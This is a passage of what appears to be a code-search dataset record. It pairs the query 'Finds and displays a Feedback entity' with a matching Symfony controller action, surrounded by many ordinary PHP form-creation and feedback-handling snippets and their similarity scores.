"protected function createForm()\n {\n if (!$this->form) {\n $this->form = new \\Gems_Form(array('class' => 'form-horizontal', 'role' => 'form'));\n $this->mailElements->setForm($this->form);\n }\n return $this->form;\n }",
"private function createCreateForm(Question $entity) {\n $form = $this->createForm(new QuestionType(), $entity, array(\n 'action' => $this->generateUrl('question_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function create()\n {\n $form = 'create';\n\n\n return view(getView('backend.team.form'), compact('form'));\n }",
"public function create()\n {\n return $this->form->render('mconsole::personal.form');\n }",
"private function createCreateForm(Fluidite $entity)\n {\n $form = $this->createForm(new FluiditeType(), $entity, array(\n 'action' => $this->generateUrl('fluidite_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function newAction()\n {\n $entity = new Fluidite();\n $form = $this->createCreateForm($entity);\n\n return $this->render('GestionPassBundle:Fluidite:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}",
"protected function form()\n {\n $form = new Form(new BlogSubscribe);\n $form->email('email', __('邮箱名称'))->creationRules('required|unique:blog_subscribes,email');\n $pass_status = [1 => '审核中', 2 => '审核通过', 3 => '冻结封禁'];\n $form->radio('is_pass', __('审核状态'))->options($pass_status)->default(1);\n $form->hidden('add_mode')->default(2);\n return $form;\n }",
"public function create()\n {\n return view('panel.payment-management.payment.form-create');\n }",
"public function create()\n {\n return view('forming');\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return $this->showForm();\n }",
"private function createCreateForm(DetailsProduits $entity) {\n $form = $this->createForm(new DetailsProduitsType(), $entity, array(\n 'action' => $this->generateUrl('detailsproduits_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function createComponentQuestionForm() {\n $form = new Form;\n\n $form->addHidden('test_id');\n $form->addHidden('id');\n $form->addTextArea('text', 'Text')->setRequired();\n $form->addSubmit('submit');\n $form->setDefaults($this->questions->getById($this->questionId));\n $form->onSuccess[] = $this->questionFormSucceeded;\n\n return $form;\n }",
"private function createCreateForm(Feed $entity)\n {\n $t1 = new Tag();\n\n $t1->setName('przykladowy');\n $entity->addTag($t1);\n \n $form = $this->createForm(new FeedType(), $entity, array(\n 'action' => $this->generateUrl('create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function create()\n {\n return view('fish.form');\n }",
"public function create(){\n return view('form.create');\n }",
"private function createCreateForm(SkBusiness $entity) {\n $form = $this->createForm(new SkBusinessType(), $entity, array(\n 'action' => $this->generateUrl('business_admin_create'),\n 'method' => 'POST',\n ));\n\n// $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"private function createCreateForm(DemandePermission $entity)\n {\n $form = $this->createForm(new DemandePermissionType(), $entity, array(\n 'action' => $this->generateUrl('demandepermission_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function create()\n {\n return view('panel.deliveries-management.deliveries.form-create');\n }",
"public function create()\n {\n if((auth()->user()->hasPermissionTo('blogger_add') != true))\n return $this->permission_denied('blogger_dashboard');\n\n return view('dashboard.users.blogger.form')\n ->with([\n 'page_title' => $this->page_title,\n 'entity' => $this->entity,\n 'entity_action' => $this->entity_action,\n ]);\n }",
"public function createComponentGenerateForm() {\n $form = new Form;\n\n\n $groups = $this->groups->getForTest($this->user->id);\n\n $form->addSelect('groupBox', 'Skupina:', $groups);\n $form->addHidden('test_id', $this->getParameter('testId'));\n $form->addText('questionCount')->setRequired('Zadejte počet otázek');\n $form->addText('answerCount')->setRequired('Zadejte počet odpovědí');\n $form->addRadioList('pageFormat', 'Formát stránky', array('a4' => 'A4', 'a5' => 'A5'))\n ->setRequired('Vyberte formát stránky');\n $form->addTextArea('students');\n\n $form->onSuccess[] = callback($this, 'generateFormSubmitted');\n $form->addSubmit('submit');\n\n return $form;\n }",
"public function actionCreate()\n {\n $model = new Contact();\n $model->user_id = $this->user->id;\n $model->scenario = 'form';\n\n if (Yii::$app->request->isPost && ($postData = Yii::$app->request->post()) && $model->load($postData)) {\n if ($model->save()) {\n return $this->redirect([\n 'view',\n 'id' => $model->id,\n ]);\n }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }",
"private function createCreateForm(Functions $entity) {\n $session = $this->get(\"session\");\n $form = $this->createForm(new FunctionsType(), $entity, array(\n 'action' => $this->generateUrl('hall_create'),\n 'method' => 'POST',\n \n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }",
"public function create()\n {\n return view('questions::frontend.create');\n }",
"protected function form()\n {\n $form = new Form(new Activity());\n\n $form->text('name', __('Name'));\n $form->image('image', __('Image'));\n $form->text('intro', __('Intro'));\n $form->UEditor('details', __('Details'));\n $form->datetime('start_at', __('Start at'))->default(date('Y-m-d H:i:s'));\n $form->datetime('end_at', __('End at'))->default(date('Y-m-d H:i:s'));\n $form->text('location', __('Location'));\n $form->decimal('fee', __('Fee'))->default(0.00);\n $form->number('involves', __('Involves'));\n $form->number('involves_min', __('Involves min'));\n $form->number('involves_max', __('Involves max'));\n $form->switch('status', __('Status'));\n $form->text('organizers', __('Organizers'));\n $form->number('views', __('Views'));\n $form->switch('is_stick', __('Is stick'));\n\n return $form;\n }",
"public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }",
"public function create()\n {\n return view('admin.createform');\n }",
"private function createCreateForm(Link $entity)\n {\n $form = $this->createForm(new LinkType(), $entity, array(\n 'action' => $this->generateUrl('MesdHelpWikiBundle_link_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit');\n\n return $form;\n }",
"public function create()\n {\n //\n return view('form');\n }",
"public function onCreateField()\n {\n $post = post();\n $flags = FieldManager::makeFlags(\n in_array('enabled', $post['flags']),\n in_array('registerable', $post['flags']),\n in_array('editable', $post['flags']),\n in_array('encrypt', $post['flags'])\n );\n\n $validation = $this->makeValidationArray($post);\n\n $data = $this->makeDataArray($post);\n\n $feedback = FieldManager::createField(\n $post['name'],\n $post['code'],\n $post['description'],\n $validation,\n $post['type'],\n $flags,\n $data\n );\n\n FieldFeedback::with($feedback, true)->flash();\n\n return Redirect::to(Backend::url('clake/userextended/fields/manage'));\n }"
] | [
"0.7385096",
"0.73552346",
"0.73165697",
"0.7263582",
"0.72379076",
"0.72379076",
"0.7102213",
"0.7004612",
"0.6746257",
"0.6739091",
"0.67345995",
"0.67345995",
"0.66548264",
"0.6572396",
"0.65428996",
"0.6528526",
"0.64545727",
"0.64335173",
"0.6432175",
"0.6421919",
"0.6421919",
"0.64143413",
"0.64133984",
"0.63983613",
"0.63731223",
"0.636586",
"0.63547534",
"0.6353674",
"0.6353674",
"0.6344074",
"0.63372576",
"0.63158566",
"0.6289425",
"0.628352",
"0.62757456",
"0.6267436",
"0.6256749",
"0.62528026",
"0.6249419",
"0.6247689",
"0.6244994",
"0.6244455",
"0.6237528",
"0.6236711",
"0.6235721",
"0.6228022",
"0.62275124",
"0.62213117",
"0.62170464",
"0.62150323",
"0.6212685",
"0.6212167",
"0.61976683",
"0.61924857",
"0.61848426",
"0.6180162",
"0.6179339",
"0.6174853",
"0.6153504",
"0.61516505",
"0.6147194",
"0.6145646",
"0.6144838",
"0.6144588",
"0.61419266",
"0.6137309",
"0.61359096",
"0.6132431",
"0.61305594",
"0.61287117",
"0.61259407",
"0.61256564",
"0.61236537",
"0.6119475",
"0.6115084",
"0.6113209",
"0.6112199",
"0.6110764",
"0.6104069",
"0.61039305",
"0.61039305",
"0.6102788",
"0.61000884",
"0.6095164",
"0.6093937",
"0.6082442",
"0.60809004",
"0.60800785",
"0.607962",
"0.60777736",
"0.6075552",
"0.60585994",
"0.6057365",
"0.60528755",
"0.6047278",
"0.60445374",
"0.60437894",
"0.60417265",
"0.60370237",
"0.60360426"
] | 0.78716683 | 0 |
Finds and displays a Feedback entity. | public function showAction(Feedback $entity)
{
$deleteForm = $this->createDeleteForm($entity);
return $this->render('feedback/show.html.twig', array(
'entity' => $entity,
'delete_form' => $deleteForm->createView(),
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function show(Feedback $feedback)\n {\n //\n }",
"public function show(Feedback $feedback)\n {\n //\n }",
"public function show($id)\n {\n return Feedback::find($id);\n }",
"public function show($id)\n {\n return Feedback::findOrFail($id);\n }",
"public function showFeedback($feedback_id){\n\t\t$sql = \"SELECT * FROM feedbacks where feedback_id = :feedback_id\";\n\t\t\n\t\t$s = $this->dbcon->prepare($sql);\n\t\t$s->bindParam(':feedback_id', $feedback_id);\n\t\t$s->execute();\n\t\t$feedback = $s->fetch(PDO::FETCH_OBJ);\n\t\treturn $feedback;\n\n\t}",
"public function edit(Feedback $feedback)\n {\n //\n }",
"public function edit(Feedback $feedback)\n {\n //\n }",
"public function translation_feedback_list_display() {\n\t\t$view = $this->feedback_list_view_factory->create();\n\t\techo $view->render_page();\n\t}",
"public function show(RemedialFeedback $remedialFeedback)\n {\n //\n }",
"public function show($id)\n {\n if ($feedback = Feedback::with('responses.responder')->with('creator')->find($id)) {\n return $feedback;\n }\n\n return $this->notFound('Feedback not found.');\n // return $this->response->array($item->toArray());\n }",
"public function show($id)\n {\n $feedback = Feedback::find($id);\n $feedback->status = 1;\n $feedback->save();\n return view('backend.feedback.view',compact('feedback'));\n }",
"public function show(Feedback $feedback)\n {\n $this->authorize('view', $feedback);\n\n //打卡紀錄\n $record = Record::whereClubId($feedback->club_id)\n ->whereStudentNid($feedback->student_nid)\n ->first();\n\n return view('feedback.show', compact('feedback', 'record'));\n }",
"public function feedback()\n {\n return $this->hasOne('App\\Models\\User\\Feedback', 'user_id');\n }",
"public function show($id)\n\t{\n\t\t$feedback = $this->feedback->findOrFail($id);\n\n\t\treturn View::make('feedbacks.show', compact('feedback'));\n\t}",
"public function index()\n {\n return Feedback::all();\n }",
"public function main_feedback()\n {\n return view('main.components.evaluation.iframe.feedback', [\"url\" => env(\"OLD_PORTAL_PERSONAL_URL\", null).'/evaluacion/defineFeedback']);\n }",
"public function edit(feedback $feedback)\n {\n //\n }",
"public function show($id)\n {\n $feedback = $this->feedRepo->find($id);\n\n if (empty($feedback)) {\n return $this->response(200, [], __('text.is_invalid'), [], null, false);\n }\n\n return $this->response(200, ['feedback' => new FeedBackResource($feedback)], __('text.retrieved_successfully'), [], null, true);\n }",
"public function retrieve_portfolio_feedback($feedback_id);",
"public function show(Request $request, $feedback_id)\n {\n \n $message = Feedback::find($feedback_id);\n\n if (is_null($message)) {\n return response('', 404);\n }\n\n return response()->json($message, 200);\n\n }",
"public function get($feedbackid){\n\t\t$feedback = EqInfo::getById($feedbackid);\n\n\t\t// return feedback object with the feedbackt details\n\t\treturn $feedback;\n\t}",
"public function viewAction()\n {\n $points = new Facepalm_Model_Points();\n $this->_helper->assertHasParameter('id');\n\n $pointId = $this->_getParam('id');\n $point = $points->find($pointId)->current();\n\n $this->_helper->assertResourceExists($point);\n\n #var_dump($point->toArray()); exit();\n $form = new Facepalm_Form_Comment();\n $form->getElement('point_id')->setValue($pointId);\n\n $this->view->point = $point;\n $this->view->form = $form;\n }",
"public function editAction(Request $request, Feedback $entity)\n {\n $deleteForm = $this->createDeleteForm($entity);\n $editForm = $this->createEditForm($entity);\n $editForm->handleRequest($request);\n\n if ($editForm->isSubmitted() && $editForm->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n // Mostrando mensaje\n $this->get('session')->getFlashBag()->add('success', 'The feedback was updated successfully.');\n return $this->redirectToRoute('feedback_show', array('id' => $entity->getId()));\n }\n\n return $this->render('feedback/edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function create()\n {\n return view('Feedback.create');\n }",
"public function create()\n {\n return view('feedback.create');\n }",
"public function create()\n {\n return view('feedback.create');\n }",
"public function find($entity) {\n\n\t\t$em = $this->getServiceLocator ()->get ( 'Doctrine\\ORM\\EntityManager' );\n\n\t\tif (is_numeric ( $entity ))\n\t\t\t$entity = $em->find ( 'BaftFeedback\\Entity\\BaftfeedbackQuestion', $entity );\n\n\t\t\t// if not found submission\n\t\tif (! ($entity instanceof BaftfeedbackQuestion))\n\t\t\treturn null;\n\n\t\treturn $entity;\n\n\t}",
"function feedback_view()\n {\n $ob = new model();\n $show_feedback=$ob->feedback_view_sql();\n return $show_feedback;\n }",
"function feedback() {\n $title_for_layout = 'Feedback';\n $this->set(compact('title_for_layout'));\n if ($this->request->is('post')) {\n if ($this->Session->check('Auth.User')) {\n $this->request->data['Feedback']['user_id'] = $this->Session->read('Auth.User.id');\n }\n $captcha = trim($this->Captcha->getCode('User.refer_security_code'));\n $this->loadModel('Feedback');\n $this->Feedback->set($this->request->data);\n if (strcmp(trim($this->request->data['User']['refer_security_code']), $captcha) == 0) {\n unset($this->request->data['User']);\n $data = $this->request->data;\n if (is_array($data['Feedback'])) {\n foreach ($data['Feedback'] as $key => $val) {\n $data['Feedback'][$key] = trim($val);\n }\n }\n if ($this->Feedback->save($data)) {\n\n $Email = new CakeEmail(Configure::read('EMAIL_DELIVERY_MODE'));\n $Email->config(array('persistent' => true));\n\n $Email->from(array(Configure::read('COMPANY.FROM_EMAIL') => Configure::read('COMPANY.NAME')));\n $var_array = array('message' => $data['Feedback']['comment'],\n 'number' => $data['Feedback']['phone'],\n 'name' => $data['Feedback']['name'], 'email' => $data['Feedback']['email'],\n 'feedback_type' => $data['Feedback']['feedback_type']);\n if ($this->Session->check('Auth.User')) {\n $var_array['user_id'] = $this->Session->read('Auth.User.id');\n }\n $Email->viewVars($var_array);\n $Email->to(Configure::read('COMPANY.ADMIN_EMAIL'));\n $Email->subject(\"Feedback Received - \" . Configure::read('COMPANY.NAME'));\n $Email->template('feedback');\n $Email->send();\n\n //Email to user\n if (trim($data['Feedback']['email']) != '') {\n $Email->from(array(Configure::read('COMPANY.FROM_EMAIL') => Configure::read('COMPANY.NAME')));\n $var_array = array('name' => $data['Feedback']['name']);\n $Email->viewVars($var_array);\n $Email->to($data['Feedback']['email']);\n $Email->subject('Thank you for your feedback - ' . Configure::read('COMPANY.NAME'));\n $Email->template('feedback_ack');\n $Email->send();\n }\n\n /* smtp disconnect */\n if (Configure::read('EMAIL_DELIVERY_MODE') == 'smtp') {\n $Email->disconnect();\n }\n\n $this->Flash->success(\"We appreciate that you've taken the time to write us. We'll get back to you very soon.\");\n $this->redirect(array('controller' => 'content', 'action' => 'feedback'));\n } else {\n $this->Flash->error('There was a problem processing your request. Please try again.');\n }\n } else {\n $this->Flash->error(__('Incorrect captcha code! Try again.'));\n }\n }\n }",
"public function show($id)\n {\n $feedback = $this->feedback->find($id);\n\n return view('feedback.show', compact('feedback'));\n }",
"public function create()\n\t{\n\t\treturn View::make('feedbacks.create');\n\t}",
"public function faqAction()\n {\n return $this->render('BerkmanSlideshowBundle:FAQ:show.html.twig');\n }",
"public function show(Feedback $feedback): View\n {\n return view('feedback.show', compact('feedback'));\n }",
"public function show(IdeaSubmission $ideaSubmission)\n {\n //\n }",
"public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BackendBundle:Founder')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Founder entity.');\n }\n\n return $this->render('BackendBundle:Founder:show.html.twig', array(\n 'entity' => $entity,\n ));\n }",
"public function index()\n {\n $this->authorize('viewAny', Feedback::class);\n\n return View::make('dashboard.feedback.index')\n ->withFeedback(\n Feedback::latest()->paginate()\n );\n }",
"public function index()\n {\n return view('feedback', ['feedback_types' => FeedbackType::all()]);\n }",
"public function actionIndex()\n {\n $searchModel = new FeedbackTypeSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function _create_feedback() {\n if($this->debug == True) {\n $this->contact_details->bypass_profilephoto = True; \n }\n \n $contact_data = $this->contact_details->generate_data(); \n \n if($new_contact_id = $this->dbcontact->insert_new_contact($contact_data)) {\n\n $feedback_data = $this->feedback_details->generate_data();\n $feedback_data['contactId'] = $new_contact_id; \n\n $new_feedback_id = $this->dbfeedback->insert_new_feedback($feedback_data);\n\n $post = (object) Array(\n 'feedback_text' => $feedback_data['text']\n , 'feed_id' => $new_feedback_id\n );\n \n //we check if there is any profanity in the feedback...if so we flip the hasProfanity column to true\n $feedbackservice = new FeedbackService(new DBFeedback, new DBBadWords);\n $feedbackservice->save_feedback($post);\n \n //We determine the origin of this feedback and its from the Feedback Form\n DB::Table('FeedbackContactOrigin', 'master')->insert(Array(\n 'contactId' => $new_contact_id\n , 'feedbackId' => $new_feedback_id\n , 'origin' => 's36'\n , 'socialId' => $new_feedback_id\n ));\n\n $result_obj = new StdClass;\n $result_obj->feedback_id = $new_feedback_id;\n $result_obj->contact_id = $new_contact_id;\n\n return $result_obj;\n }\n\n return Null;\n }",
"public function index()\n {\n // title page for meta data in web browser\n $page = 'Feedback';\n\n // retrieve all artist each 10 record data\n $feedback = $this->feedback->paginate(10);\n\n return view('feedback.index', compact('page', 'feedback'));\n }",
"public function edit(Feedback $feedback)\n {\n //\n return view('admin.feedback.edit', compact('feedback'));\n }",
"public function index($value=''){\n\t\t$feedback = feedbackInfo::All(); // we use the static method All() that we\n\t\t\t\t\t\t\t \t\t// created in feedback model to retrieve all \n\t\t\t\t\t\t\t \t\t// data for feedback\n\t\treturn $feedback;\n\t}",
"public function findAction(Request $request)\n {\n $find = $request->get('find-form-text');\n\n if ($find) {\n $em = $this->getDoctrine()->getManager();\n\n $dql = \"SELECT e FROM BackendBundle:Feedback e WHERE \"\n . \"e.name LIKE '%\" . $find . \"%' OR \"\n . \"e.email LIKE '%\" . $find . \"%' \"\n . \"ORDER BY e.id ASC\";\n $query = $em->createQuery($dql)\n ->setHint(\n Query::HINT_CUSTOM_OUTPUT_WALKER,\n 'Gedmo\\\\Translatable\\\\Query\\\\TreeWalker\\\\TranslationWalker'\n );\n\n $paginator = $this->get('knp_paginator');\n $pagination = $paginator->paginate(\n $query, $request->query->get('page', 1), $this->getParameter('cruds.pagination.items')\n );\n\n return $this->render('feedback/index.html.twig', array(\n 'entities' => $pagination,\n 'textFind' => $find\n ));\n } else {\n return $this->redirect($this->generateUrl('feedback'));\n }\n }",
"public function index()\n {\n //\n $feedbacks = Feedback::all();\n\n return view('admin.feedback.index', compact('feedbacks'));\n }",
"public function index()\n {\n $currentPage = $this->request->getVar('page_feedback') ? $this->request->getVar('page_feedback') :\n 1;\n\n // Searching\n $keyword = $this->request->getVar('keyword');\n if ($keyword) {\n $feedback = $this->feedbackModel->search($keyword);\n } else {\n $feedback = $this->feedbackModel;\n }\n\n $data = [\n 'title' => 'Cultivation | Feedback',\n 'feedback' => $feedback->paginate(5, 'feedback'),\n 'pager' => $this->feedbackModel->pager,\n 'currentPage' => $currentPage,\n ];\n return view('/feedback/index', $data);\n }",
"public static function assessment_feedback() {\n\t\t$request = Controller::curr()->getRequest();\n\n\t\tif($request->latestParam('Action') == 'finished' && $submissionID = $request->latestParam('ID')) {\n\t\t\t\n\t\t\t$submission = RhinoSubmittedAssessment::get()->filter('uid', $submissionID)->First();\n\t\t\tif($submission) {\n\t\t\t\t$assessment = $submission->Parent();\n\t\t\t\tif($assessment) {\n\t\t\t\t\t$mark = $submission->getAssessmentMark();\n\t\t\t\t\t$feedback = $assessment->dbObject('FeedbackOn'.$mark);\n\t\t\t\t\tif ($feedback) {\n\t\t\t\t\t\treturn $feedback;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"public function editAction()\n {\n $ifeedbackId = $this->getRequest()->getParam('id');\n $ifeedback = $this->_initIfeedback();\n if ($ifeedbackId && !$ifeedback->getId()) {\n $this->_getSession()->addError(\n Mage::helper('bs_kst')->__('This instructor feedback no longer exists.')\n );\n $this->_redirect('*/*/');\n return;\n }\n $data = Mage::getSingleton('adminhtml/session')->getIfeedbackData(true);\n if (!empty($data)) {\n $ifeedback->setData($data);\n }\n Mage::register('ifeedback_data', $ifeedback);\n $this->loadLayout();\n $this->_title(Mage::helper('bs_kst')->__('KST'))\n ->_title(Mage::helper('bs_kst')->__('Instructor Feedbacks'));\n if ($ifeedback->getId()) {\n $this->_title($ifeedback->getName());\n } else {\n $this->_title(Mage::helper('bs_kst')->__('Add instructor feedback'));\n }\n if (Mage::getSingleton('cms/wysiwyg_config')->isEnabled()) {\n $this->getLayout()->getBlock('head')->setCanLoadTinyMce(true);\n }\n $this->renderLayout();\n }",
"public function actionCreate()\n {\n $model = new FeedbackType();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n \tYii::$app->getSession()->setFlash('success', $model->fkt_form_name.' '.$model->fkt_list_name.' 添加成功,结果将展示在列表。');\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }",
"public function showAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $actualite = $em->getRepository('MyAppEspritBundle:Actualite')->findAll();\n\n return $this->render('MyAppEspritBundle:Actualite:show.html.twig', array(\n 'actualite' => $actualite,\n ));\n }",
"public function getFeedback()\n {\n return $this->feedback;\n }",
"public function render_instantquiz_feedback(instantquiz_feedback $entity) {\n $rv = '';\n if ($entity->instantquiz->displaymode === instantquiz_instantquiz::DISPLAYMODE_NORMAL ||\n $entity->instantquiz->displaymode === instantquiz_instantquiz::DISPLAYMODE_REVIEW) {\n $rv = $entity->get_formatted_feedback();\n } else if ($entity->instantquiz->displaymode === instantquiz_instantquiz::DISPLAYMODE_EDIT ||\n $entity->instantquiz->displaymode === instantquiz_instantquiz::DISPLAYMODE_PREVIEW) {\n $rv = $entity->get_formatted_feedback(array(), true);\n if (!empty($entity->addinfo['formula'])) {\n $rv .= '<div><b>'. $entity->addinfo['formula']. '</b></div>';\n }\n } else if ($entity->instantquiz->displaymode === instantquiz_instantquiz::DISPLAYMODE_SUMMARY) {\n $summary = $entity->instantquiz->summary->by_feedback($entity);\n $rv = $entity->get_formatted_feedback(array(), true). ' : ';\n $rv .= $summary->feedbacks;\n if ($summary->totalcount) {\n $rv .= ' = '. format_float($summary->feedbacks/$summary->totalcount*100, 0). '%';\n }\n }\n return $this->render_instantquiz_entity($entity, $rv);\n }",
"public function index()\n {\n $feedbacks = Feedback::paginate(10);\n return view('feedback.index', compact('feedbacks'));\n }",
"public function show(Attention $attention){\n\n return $this->successResponse($attention);\n }",
"protected function detail($id)\n {\n $show = new Show(Feedback::findOrFail($id));\n\n $show->field('id', __('feedback::feedback.id'));\n $show->field('user_id', __('feedback::feedback.user_id'))\n ->as(function () {\n return $this->user ? $this->user->username : $this->user_id;\n });\n $show->field('title', __('feedback::feedback.title'));\n $show->field('content', __('feedback::feedback.content'))->unescape();\n $show->field('file', __('feedback::feedback.file'))->image();\n $show->field('reply', __('feedback::feedback.reply'))->unescape();\n $show->field('contact', __('feedback::feedback.contact'));\n $show->field('status', __('feedback::feedback.status.label'))\n ->using(__('feedback::feedback.status.value'));\n $show->field('created_at', __('admin.created_at'));\n $show->field('updated_at', __('admin.updated_at'));\n\n return $show;\n }",
"function show_bid_feedback_entry_form()\n{\n\n if ((! user_has_priv (PRIV_BID_COM)) &&\n (! user_has_priv (PRIV_BID_CHAIR)) &&\n (! user_has_priv (PRIV_GM_LIAISON)))\n return display_access_error ();\n\n if (! array_key_exists ('UserId', $_REQUEST))\n return display_error ('Failed to find UserId in $_REQUEST array');\n\n $UserId = intval($_REQUEST['UserId']);\n if ($UserId < 1)\n return display_error (\"Invalid value for $$UserId: $UserId\");\n\n $sql = \"SELECT DisplayName FROM Users WHERE UserId=$UserId\";\n $result = mysql_query($sql);\n if (! $result)\n return display_mysql_error ('Query for User Name failed', $sql);\n\n $row = mysql_fetch_object($result);\n if (! $row)\n return display_error (\"Failed to find user for $$UserId: $UserId\");\n\n $name = trim (\"$row->DisplayName\");\n\n $BidStatusId = 0;\n $FeedbackId = 0;\n\n if (array_key_exists ('FeedbackId', $_REQUEST))\n $FeedbackId = intval ($_REQUEST['FeedbackId']);\n\n $Vote = 'Undecided';\n $Title = 'Unknown';\n $Issues = '';\n\n if (0 != $FeedbackId)\n {\n $sql = 'SELECT BidFeedback.Vote, BidFeedback.Issues,';\n $sql .= ' BidFeedback.BidStatusId, Bids.Title';\n $sql .= ' FROM Bids, BidStatus, BidFeedback';\n $sql .= \" WHERE BidFeedback.FeedbackId=$FeedbackId\";\n $sql .= ' AND BidStatus.BidStatusId=BidFeedback.BidStatusId';\n $sql .= ' AND Bids.BidId=BidStatus.BidId';\n\n $result = mysql_query($sql);\n if (! $result)\n return display_mysql_error('Query failed for bid info', $sql);\n\n if (0 == mysql_num_rows($result))\n return display_error(\"Failed to find bid info for FeedbackId: $FeedbackId\");\n\n $row = mysql_fetch_object($result);\n $Vote = $row->Vote;\n $Issues = $row->Issues;\n $Title = $row->Title;\n $BidStatusId = $row->BidStatusId;\n }\n else\n {\n // If we don't have a FeedbackId, we'd better have a BidStatusId\n\n if (! array_key_exists ('BidStatusId', $_REQUEST))\n return display_error ('Failed to find BidStatusIdId in $_REQUEST array');\n\n $BidStatusId = intval($_REQUEST['BidStatusId']);\n if (0 == $BidStatusId)\n return display_error (\"Invalid BidStatusId: $BidStatusId\");\n\n $sql = 'SELECT Bids.Title';\n $sql .= ' FROM Bids, BidStatus';\n $sql .= \" WHERE BidStatus.BidStatusId=$BidStatusId\";\n $sql .= ' AND Bids.BidId=BidStatus.BidId';\n\n $result = mysql_query($sql);\n if (! $result)\n return display_mysql_error('Query failed for bid info', $sql);\n\n if (0 == mysql_num_rows($result))\n return display_error(\"Failed to find bid info for FeedbackId: $FeedbackId\");\n\n $row = mysql_fetch_object($result);\n $Title = $row->Title;\n }\n\n // If this is the first time in, fill in the $_POST array\n\n if (! array_key_exists ('Vote', $_POST))\n {\n $_POST['Vote'] = $Vote;\n $_POST['Issues'] = $Issues;\n }\n\n display_header (\"Feedback for $name on <i>$Title</i>\");\n\n echo \"<form method=\\\"POST\\\" action=\\\"Bids.php\\\">\\n\";\n form_add_sequence ();\n form_hidden_value ('action', BID_FEEDBACK_PROCESS_ENTRY);\n form_hidden_value ('FeedbackId', $FeedbackId);\n form_hidden_value ('BidStatusId', $BidStatusId);\n form_hidden_value ('UserId', $UserId);\n\n echo \"<table>\\n\";\n echo \" <tr>\\n\";\n echo \" <th align=\\\"right\\\">Vote: </th>\\n\";\n form_vote('Vote');\n echo \" </tr>\\n\";\n echo \" <tr>\\n\";\n echo \" <th align=\\\"right\\\">Issues: </th>\\n\";\n form_issues('Issues');\n echo \" </tr>\\n\";\n form_submit ('Update Feedback');\n echo \"</table>\\n\";\n}",
"public function newAction(Request $request)\n {\n $entity = new Feedback();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n // Mostrando mensaje\n $this->get('session')->getFlashBag()->add('success', 'The feedback was created successfully.');\n\n if ($form->get('submitback')->isClicked()) {\n return $this->redirect($this->generateUrl('feedback_new'));\n } else {\n return $this->redirectToRoute('feedback_show', array('id' => $entity->getId()));\n }\n\n }\n\n return $this->render('feedback/new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CoreMarketingBundle:Message')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Message entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n $data = array();\n $ms = $entity->getMessage();\n $minishop = $this->container->getParameter('minishop');\n if ((!empty($ms['orderId'])) && isset($minishop['shop']) && $minishop['shop']) {\n $order = $em->getRepository('CoreShopBundle:Order')->find($ms['orderId']);\n if ($order) {\n $data['email'] = $order->getInvoiceAddress()->getEmail();\n }\n } elseif (!empty($ms)) {\n if (isset($ms['email'])) {\n $data['email'] = $ms['email'];\n }\n }\n $form = $this->createForm(new AnswerType(), $data);\n $request = $this->getRequest();\n if ($request->getMethod() == \"POST\") {\n $form->bind($request);\n if ($form->isValid()) {\n $data = $form->getData();\n $entity->setAnswer(array(\n 'email' => $data['email'],\n 'message' => $data['message'],\n ));\n $entity->setUpdatedAt(new \\DateTime());\n $em->persist($entity);\n $em->flush();\n $emails = $this->container->getParameter('default.emails');\n $frommail = $emails['default'];\n switch ($entity->getType()) {\n case \"claim\":\n $frommail = $emails['claim'];\n break;\n case \"order\":\n $frommail = $emails['order'];\n break;\n case \"contact\":\n case \"contactmulti\":\n $frommail = $emails['contact'];\n break;\n default:\n $frommail = $emails['default'];\n break;\n }\n $message = \\Swift_Message::newInstance()\n ->setSubject('Re:' .$entity->getTitle())\n ->setFrom($frommail, $this->container->getParameter('site_title')) //settings\n ->setTo(array($data['email']))\n ->setBody($this->renderView('CoreMarketingBundle:Email:answer.html.twig', array(\n 'data' => $data,\n )), 'text/html')\n ->setContentType(\"text/html\");\n 